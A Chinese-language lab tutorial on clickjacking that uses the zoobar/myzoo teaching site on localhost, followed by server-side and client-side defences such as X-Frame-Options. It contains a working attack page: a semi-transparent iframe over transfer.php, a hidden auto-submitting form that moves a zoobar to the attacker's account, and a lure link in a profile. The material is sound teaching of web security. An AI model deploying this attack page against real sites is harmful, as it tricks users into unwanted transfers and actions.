点击劫持技术

概念:又称界面伪装攻击(ui redress attack),是一种视觉上的欺骗手段,攻击者使用一个或多个透明的iframe覆盖在一个正常的网页上,然后诱使用户在该网页上进行操作,当用户在不知情的情况下点击透明的iframe页面时,用户的操作已经被劫持到攻击者事先设计好的恶意按钮或链接上。
方式:攻击者既可以通过点击劫持设计一个独立的恶意网站,执行钓鱼攻击等;也可以与XSS和CSRF攻击相结合,突破传统的防御措施,提升漏洞的危害程度。

点击劫持攻击实现

实施攻击的一般步骤
  • 黑客创建一个网页,利用iframe包含目标网站
  • 隐藏目标网站,使用户无法察觉到目标网站存在
  • 构造网页,诱骗用户点击特定按钮
  • 用户在不知情的情况下点击按钮,触发执行恶心网页的命令
配置myzoo网站

修改/etc/apache2/sites-available
如果myzoo的代码位于/var/www,则仅需修改default,修改DocumentRoot为myzoo的位置,然后重启apache2:sudo service apache2 restart;如果myzoo的代码不是放在/var/www,还需修改apache2.conf,将 require all denied改成require all granted。此时,浏览器输入http://localhost应该可以访问zoobar网站。

在myzoo网站上创建一个clickjack用户
将profile设置成 <a href="http://localhost/clickjack.html">点我赢iphone</a>

myzoo网站修改transfer.php中的if语句

<?php
  session_start();
?>
  
<?php 
  require_once("includes/common.php"); 
  nav_start_outer("Transfer");
  nav_start_inner();
//这里修改成如下
 if($_POST['submission'] && $_POST['token'] == $_SESSION['csrf']) { 

	$_SESSION['csrf'] = md5(uniqid(mt_rand(), true));

	 $recipient = $_POST['recipient'];
    $zoobars = (int) $_POST['zoobars'];
    $sql = "SELECT Zoobars FROM Person WHERE PersonID=$user->id";
    $rs = $db->executeQuery($sql);
...

设置点击劫持网页clickjack.html
我将它放到了myzoo的同目录下面,这个网站是黑客专门设置给用户看到的界面,用来吸引用户点击,里面可以嵌入其他的网站来实现点击劫持攻击

clickjack.html代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        iframe {
            width: 1440px;
            height: 900px;
            position: absolute;
            top: -0px;
            left: -0px;
            z-index: 2;
            opacity: 0.5;
        }

        #clickjack {
            position: absolute;
            top: 307px;
            left: 596px;
            z-index: 1;
        }
    </style>
</head>

<body>
    <iframe name="it" src="http://localhost/transfer.php" scrolling="no"></iframe>
    <form method="POST" name="transferform" action="http://localhost/transfer.php" target="it" id="transferform"
        style="display:none">
        <input name="zoobars" type="text" value="1" size="5">
        <input name="recipient" type="text" value="clickjack">
        <input type="hidden" name="submission" value="Send">
    </form>
    <form>
        <input type="submit" id="clickjack" value="WIN">
    </form>

    <script type="text/javascript">
        form = document.getElementById("transferform");
        form.submit();
    </script>
</body>

</html>
代码解释

<iframe>标签中嵌入了transfer.php页面,并通过opacity设置透明度, iframe的透明度不能设置为0,如果设置为0的话,就不能接受任何的点击事件了

css隐藏元素

  • display: none :不占据空间,无法点击
  • visibility: hidden :占据空间,无法点击
  • opacity: 0; filter:Alpha(opacity=0):占据空间,可以点击

这里使用opacity设置透明度,为了便于观察,将opacity设置成0.5

在clickjack.html中有一个form表单,里面设置了设置了一些表单参数,表单方式为post提交,提交的网站是“transfer.php”,script脚本中将该表单提交,当用户进入到clickjack.html后即设置好了需要转账给黑客账号clickjack的1个zoobar的参数。

当用户查看攻击者的profile时,被诱导点击了按钮时,其实点击的是transfer.php页面中的send按钮,这样就会给黑客发送一个zoobar

点击劫持防御

服务端防御:

设置X-FRAME-OPTIONS响应头
功能:X-Frame-Option http 响应头部可以被用于设置浏览器是否允许通过<frame>, <iframe>, <embed> or <object>来渲染页面,网站可以通过设置X-Frame-Option来确保网站的内容不会被嵌入到其他网页中从而防御点击劫持攻击。
语法:

  • X-Frame-Options: DENY :网站不能被嵌入到frame
  • X-Frame-Options: SAMEORIGIN : 页面只能显示在与页面本身位于同一来源的frame中
  • X-Frame-Options: uri: 表示该页面可以在指定来源的 frame 中展示
配置方式

一、配置Apache在所有页面上发送 X-Frame-Options 响应头
修改apache配置文件中的000-default.conf,sudo vim /etc/apache2/sites-available/000-default.conf ,在里面加入Header always append X-Frame-Options DENY 重启apache2后生效

sudo a2enmod headers
sudo systemctl restart apache2

二、直接在需要防御点击劫持的页面上设置X-Frame-Options 响应头
在transfer.php页面php头部增加一句X-Frame-Options:DENYheader('X-Frame-Options:DENY');:所有的网页都不允许加载iframe
header('X-Frame-Options:SAMEORIGIN');:同源网页可以加载iframe

<?php
header("X-Frame-Options:DENY");
?>
客户端防御
  • 升级浏览器:最新版本的浏览器提供很多防御点击劫持漏洞的安全机制
  • NoScript扩展:NoScript中的ClearClick组件能够检测和警告潜在的点击劫持攻击,自动检测页面中可能不安全的页面